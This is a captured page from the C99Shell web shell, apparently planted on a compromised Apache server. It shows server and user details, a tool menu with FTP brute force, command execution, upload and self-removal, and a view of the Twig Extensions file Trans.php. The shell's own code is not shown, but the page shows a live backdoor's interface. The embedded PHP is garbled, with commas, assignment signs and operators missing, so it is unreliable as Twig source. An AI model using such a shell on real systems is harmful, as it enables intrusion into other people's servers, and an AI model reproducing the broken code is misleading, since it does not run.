!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/php/Twig-Extensions/lib/Twig/Extensions/Node/   drwxr-xr-x
Free 13.28 GB of 57.97 GB (22.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Trans.php (5.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Twig.
 *
 * (c) 2010 Fabien Potencier
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

/**
 * Represents a trans node.
 *
 * @author Fabien Potencier <fabien.potencier@symfony-project.com>
 */
class Twig_Extensions_Node_Trans extends Twig_Node
{
    public function 
__construct(Twig_Node $bodyTwig_Node $plural nullTwig_Node_Expression $count nullTwig_Node $notes null$lineno$tag null)
    {
        
$nodes = array('body' => $body);
        if (
null !== $count) {
            
$nodes['count'] = $count;
        }
        if (
null !== $plural) {
            
$nodes['plural'] = $plural;
        }
        if (
null !== $notes) {
            
$nodes['notes'] = $notes;
        }

        
parent::__construct($nodes, array(), $lineno$tag);
    }

    
/**
     * {@inheritdoc}
     */
    
public function compile(Twig_Compiler $compiler)
    {
        
$compiler->addDebugInfo($this);

        list(
$msg$vars) = $this->compileString($this->getNode('body'));

        if (
$this->hasNode('plural')) {
            list(
$msg1$vars1) = $this->compileString($this->getNode('plural'));

            
$vars array_merge($vars$vars1);
        }

        
$function $this->getTransFunction($this->hasNode('plural'));

        if (
$this->hasNode('notes')) {
            
$message trim($this->getNode('notes')->getAttribute('data'));

            
// line breaks are not allowed cause we want a single line comment
            
$message str_replace(array("\n""\r"), ' '$message);
            
$compiler->write("// notes: {$message}\n");
        }

        if (
$vars) {
            
$compiler
                
->write('echo strtr('.$function.'(')
                ->
subcompile($msg)
            ;

            if (
$this->hasNode('plural')) {
                
$compiler
                    
->raw(', ')
                    ->
subcompile($msg1)
                    ->
raw(', abs(')
                    ->
subcompile($this->hasNode('count') ? $this->getNode('count') : null)
                    ->
raw(')')
                ;
            }

            
$compiler->raw('), array(');

            foreach (
$vars as $var) {
                if (
'count' === $var->getAttribute('name')) {
                    
$compiler
                        
->string('%count%')
                        ->
raw(' => abs(')
                        ->
subcompile($this->hasNode('count') ? $this->getNode('count') : null)
                        ->
raw('), ')
                    ;
                } else {
                    
$compiler
                        
->string('%'.$var->getAttribute('name').'%')
                        ->
raw(' => ')
                        ->
subcompile($var)
                        ->
raw(', ')
                    ;
                }
            }

            
$compiler->raw("));\n");
        } else {
            
$compiler
                
->write('echo '.$function.'(')
                ->
subcompile($msg)
            ;

            if (
$this->hasNode('plural')) {
                
$compiler
                    
->raw(', ')
                    ->
subcompile($msg1)
                    ->
raw(', abs(')
                    ->
subcompile($this->hasNode('count') ? $this->getNode('count') : null)
                    ->
raw(')')
                ;
            }

            
$compiler->raw(");\n");
        }
    }

    
/**
     * @param Twig_Node $body A Twig_Node instance
     *
     * @return array
     */
    
protected function compileString(Twig_Node $body)
    {
        if (
$body instanceof Twig_Node_Expression_Name || $body instanceof Twig_Node_Expression_Constant || $body instanceof Twig_Node_Expression_TempName) {
            return array(
$body, array());
        }

        
$vars = array();
        if (
count($body)) {
            
$msg '';

            foreach (
$body as $node) {
                if (
get_class($node) === 'Twig_Node' && $node->getNode(0) instanceof Twig_Node_SetTemp) {
                    
$node $node->getNode(1);
                }

                if (
$node instanceof Twig_Node_Print) {
                    
$n $node->getNode('expr');
                    while (
$n instanceof Twig_Node_Expression_Filter) {
                        
$n $n->getNode('node');
                    }
                    
$msg .= sprintf('%%%s%%'$n->getAttribute('name'));
                    
$vars[] = new Twig_Node_Expression_Name($n->getAttribute('name'), $n->getTemplateLine());
                } else {
                    
$msg .= $node->getAttribute('data');
                }
            }
        } else {
            
$msg $body->getAttribute('data');
        }

        return array(new 
Twig_Node(array(new Twig_Node_Expression_Constant(trim($msg), $body->getTemplateLine()))), $vars);
    }

    
/**
     * @param bool $plural Return plural or singular function to use
     *
     * @return string
     */
    
protected function getTransFunction($plural)
    {
        return 
$plural 'ngettext' 'gettext';
    }
}

class_alias('Twig_Extensions_Node_Trans''Twig\Extensions\Node\TransNode'false);

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0067 ]--